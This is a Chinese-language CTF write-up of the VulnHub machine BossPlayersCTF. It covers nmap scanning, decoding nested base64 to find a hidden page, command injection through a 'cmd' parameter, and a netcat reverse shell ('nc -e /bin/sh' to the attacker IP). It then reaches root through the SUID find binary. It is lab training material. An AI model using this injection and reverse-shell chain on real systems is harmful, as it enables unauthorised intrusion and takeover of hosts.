BossPlayersCTF靶机

靶机概述

这是vulnhub上的一个简单的linux靶机,适合初级渗透测试人员,同时也告诉我们在渗透测试过程中要有耐心,要允许有兔子洞。

靶机整体思路:

  1. 主机端口探测,发现web服务。
  2. 在web服务中进行信息收集,发现命令注入,反弹shell
  3. 利用SUID进行提权,拿到root flag

靶机下载链接

1、nmap扫描

1)主机发现

# -sn 只做ping扫描,不做端口扫描
nmap -sn 192.168.84.1/24
# 发现靶机ip为
MAC Address: 00:50:56:E0:D5:D4 (VMware)
Nmap scan report for 192.168.84.128

2)端口扫描

# sT 以tcp扫描,sC 以默认脚本扫描,sV 输出端口详细信息 O 探测操作系统版本
nmap -sT -sV -sC -O -p22,80 192.168.84.128 -o details Starting Nmap 7.93 ( https://nmap.org ) at 2024-07-31 08:19 EDT
Nmap scan report for 192.168.84.128
Host is up (0.00049s latency). PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10 (protocol 2.0)
| ssh-hostkey:
| 2048 ac0d1e7140ef6e6591958d1c13138e3e (RSA)
| 256 249e2718dfa4783b0d118a9272bd058d (ECDSA)
|_ 256 26328d73890529438ea113ba4f8353f8 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Site doesn't have a title (text/html).
MAC Address: 00:0C:29:27:20:93 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.35 seconds

结果可以看到22为常规ssh服务,80为Apache服务,版本为2.4.38 操作系统版本 Linux 3.2 - 4.9

3)默认漏洞脚本扫描

nmap --script=vuln 192.168.84.128 -o vuln

Starting Nmap 7.93 ( https://nmap.org ) at 2024-07-31 08:24 EDT
Nmap scan report for 192.168.84.128
Host is up (0.00029s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum:
| /logs.php: Logs
|_ /robots.txt: Robots file
MAC Address: 00:0C:29:27:20:93 (VMware) Nmap done: 1 IP address (1 host up) scanned in 31.90 seconds

看到80端口,又发现两个目录,我们用浏览器打开看一看

2、Web渗透

1)主页

困能程度:一颗星

描述:你好!这是我为那些想要涉足CTF的人创建的一个非常简单的题目,有一个方法论,避免兔子洞!我希望你喜欢这个,最重要的是,请玩的开心

网站 sudocuong.com

我们查看一下源码信息 碰到http的页面一般都要看看源码,否则我们经常会漏掉重要的信息

看着行数和下拉条就很奇怪,往下拉看看有没有重要信息

有一串密文,看着像base64,我们尝试base64解码

echo "WkRJNWVXRXliSFZhTW14MVkwaEtkbG96U214ak0wMTFZMGRvZDBOblBUMEsK" | base64 -d
ZDI5eWEybHVaMmx1Y0hKdlozSmxjM011Y0dod0NnPT0K echo "WkRJNWVXRXliSFZhTW14MVkwaEtkbG96U214ak0wMTFZMGRvZDBOblBUMEsK" | base64 -d |base64 -d d29ya2luZ2lucHJvZ3Jlc3MucGhwCg== echo "WkRJNWVXRXliSFZhTW14MVkwaEtkbG96U214ak0wMTFZMGRvZDBOblBUMEsK" | base64 -d |base64 -d |base64 -d
workinginprogress.php

终于把这个套娃解出来了 看着像是一个目录

2)访问收集到的目录

我们访问nmap发现的两个路径

/log.php

这是php的日志,我们把他的优先级往后放。

/robots.txt

看起来是base64我们解密一下

echo "bG9sIHRyeSBoYXJkZXIgYnJvCg==" | base64 -d
lol try harder bro

lol 兄弟努力吧

应该是兔子洞,不是正确的ssh密码

/workinginprogress.php

告诉了我们system install的组件和版本,outstanding在这里是未完成的意思。

他让我们尝试ping命令

http://192.168.84.128/workinginprogress.php?cmd=ping -c 1 192.168.84.133

能执行ping命令,尝试命令注入

http://192.168.84.128/workinginprogress.php?cmd=ping -c 1 192.168.84.133;id

看到注入成功

3、拿到立足点

1)反弹shell

a) kali本地
nc -lnvp 4444                 

listening on [any] 4444 ...
b) 注入命令
http://192.168.84.128/workinginprogress.php?cmd=ping -c 1 192.168.84.133;nc -e /bin/sh 192.168.84.133 4444

成功反弹,拿到立足点。

2)优化shell

python -c "import pty;pty.spawn('/bin/bash')"

www-data@bossplayers:/var/www/html$ whoami
whoami
www-data

4、提权到root

1) sudo -l

查看有没有此用户可以用sudo执行的文件

sudo -l

www-data@bossplayers:/home$ sudo -l
sudo -l
bash: sudo: command not found

没有

2)SUID尝试

find / -perm -4000 -type f 2>/dev/null

/usr/bin/mount
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/chsh
/usr/bin/grep
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/find
/usr/bin/newgrp
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device

我们用find命令尝试

find . -exec /bin/sh -p \;
# whoami
whoami
root

提权成功

拿到root flag

# cat /root/root.txt
cat /root/root.txt
Y29uZ3JhdHVsYXRpb25zCg==
# cat /root/root.txt | base64 -d
cat /root/root.txt | base64 -d
congratulations

祝贺 !

总结

  1. nmap基本扫描发现22,80端口开放,访问web页面
  2. 在主页的源码信息中,发现base64套娃加密的隐藏路径。在访问nmap扫描出来的路径后,基本可以确定两个路径为兔子洞。
  3. 在隐藏路径/workinginprogress.php中找到RCE漏洞,成功反弹shell,拿到立足点。
  4. 利用SUID find 命令 成功提权到root
  5. 成功那都root flag :congratulations

BossPlayersCTF靶机笔记的更多相关文章

  1. vulnhub靶机Tr0ll:1渗透笔记

    Tr0ll:1渗透笔记 靶场下载地址:https://www.vulnhub.com/entry/tr0ll-1,100/ kali ip:192.168.20.128 靶机和kali位于同一网段 信 ...

  2. vulnhub靶机djinn:1渗透笔记

    djinn:1渗透笔记 靶机下载地址:https://www.vulnhub.com/entry/djinn-1,397/ 信息收集 首先我们嘚确保一点,kali机和靶机处于同一网段,查看kali i ...

  3. sqli-labs靶机注入笔记1-10关

    嗯,开始记录sqli-lab的每关笔记,复习一次 1-2关 基于错误的字符串/数字型注入 闭合的符号有区别而已 http://www.sqli-lab.cn/Less-1/?id=1 or 1=1 - ...

  4. vulnhub 靶机 Kioptrix Level 1渗透笔记

    靶机下载地址:https://www.vulnhub.com/entry/kioptrix-level-1-1,22/ kali ip 信息收集 先使用nmap收集目标的ip地址 nmap -sP 1 ...

  5. 渗透测试全流程靶机vulnhubDC-1完成笔记

    镜像下载地址 https://www.vulnhub.com/entry/dc-1-1,292/ 信息收集 1.可以使用netdiscover -i eth0 发现二层网络信息 发现两个设备(103是 ...

  6. 25. CTF综合靶机渗透(17)

    靶机链接 https://www.vulnhub.com/entry/the-ether-evilscience,212 运行环境 本靶机提供了VMware的镜像,从Vulnhub下载之后解压,运行v ...

  7. Metasploit和python两种安全工具的学习笔记

    Metasploit是个好东西 主要参考了<Metasploit渗透测试魔鬼训练营>这本书. 一.先用自己的靶机感受一下该工具的强大 linux靶机的ip如图 按照书上写的配置,如图 然后 ...

  8. Cobalt Strike学习笔记

    Cobalt Strike 一款以metasploit为基础的GUI的框架式渗透测试工具,集成了端口转发.服务扫描,自动化溢出,多模式端口监听,win exe木马生成,win dll木马生成,java ...

  9. vulnhub-DC:4靶机渗透记录

    准备工作 在vulnhub官网下载DC:4靶机https://www.vulnhub.com/entry/dc-4,313/ 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:19 ...

  10. DC-7 靶机渗透测试

    DC-7 渗透测试 冲冲冲,好好学习 .对管道符的理解加深了好多.最后提权时,遇到了点麻烦.想不懂一条命令为啥能执行生效,耗了一整天才算解决掉. 操作机:kali 172.66.66.129 靶机:D ...

随机推荐

  1. 聊一聊 Monitor.Wait 和 Pluse 的底层玩法

    一:背景 1. 讲故事 在dump分析的过程中经常会看到很多线程卡在Monitor.Wait方法上,曾经也有不少人问我为什么用 !syncblk 看不到 Monitor.Wait 上的锁信息,刚好昨天 ...

  2. 如何在 VSCode 中配置和编写 LINGO

    目录 如何在 VSCode 中配置和编写 LINGO 安装 VSCode 扩展 LINGO 脚本文件与 runlingo 命令 LINGO 命令行交互和脚本文件 配置 Visual Stdio Cod ...

  3. mysql+redis点赞功能剖析

    最近在一个应用上需要用到点赞的功能,因为点赞的功能比较常用,很多人看到了大拇指就点了上去,如果单单采用mysql的方式的话可以会对数据库造成很大的压力. 我看了下网上一些博主的提供的解决方案,主要以m ...

  4. C# Linq俩个list<Datarow> 取差集,并自定义字段

    可以自定义类 ,也可以从参考官网文档:Enumerable.Except 方法 (System.Linq) | Microsoft Learn List<DataRow> list1 = ...

  5. centos7中的nohup和&的用法和区别

    1.&和nohup的区别 &的意思是在后台运行, 意思是说, 当你在执行 ./start.sh & 的时候, 即使你用ctrl C, 那么start.sh照样运行(因为对SIG ...

  6. debian11 使用podman搭建 nacos-server

    前言 基于debian11 + podman 搭建 nacos-server 用于简单测试. nacos-server基于java,如果直接运行还要准备java环境,在docker/podman 镜像 ...

  7. debian12 创建本地harbor镜像库

    前言 harbor是一个docker/podman镜像管理库,可用于存储私人镜像.现将本人在debian12系统搭建harbor镜像库的过程记录下来,留作后续参考. 可以参考github harbor ...

  8. 硬核案例分享,一文带你拆解PHP语言体系下的容器化改造

    本文分享自华为云社区<PHP语言体系下的容器化改造,助力夺冠集团应用现代化>,作者: HuaweiCloudDeveloper. 1.摘要 本文主要介绍了PHP语言体系应用现代化改造上云的 ...

  9. API是什么

    API就是接口,就是通道,负责一个程序和其他软件的沟通,本质是预先定义的函数.譬如我们去办事,窗口就类似一个API,如果对于某一件不简单的事情,这个窗口能做到让我们"最多跑一次", ...

  10. Apache基于IP和端口

    Apache基于IP 步骤1:添加并配置虚拟网卡 添加虚拟网卡:通常在虚拟机环境中,可以通过虚拟机软件(如VMware或VirtualBox)的网络设置来添加额外的网络适配器. 配置IP地址:编辑/e ...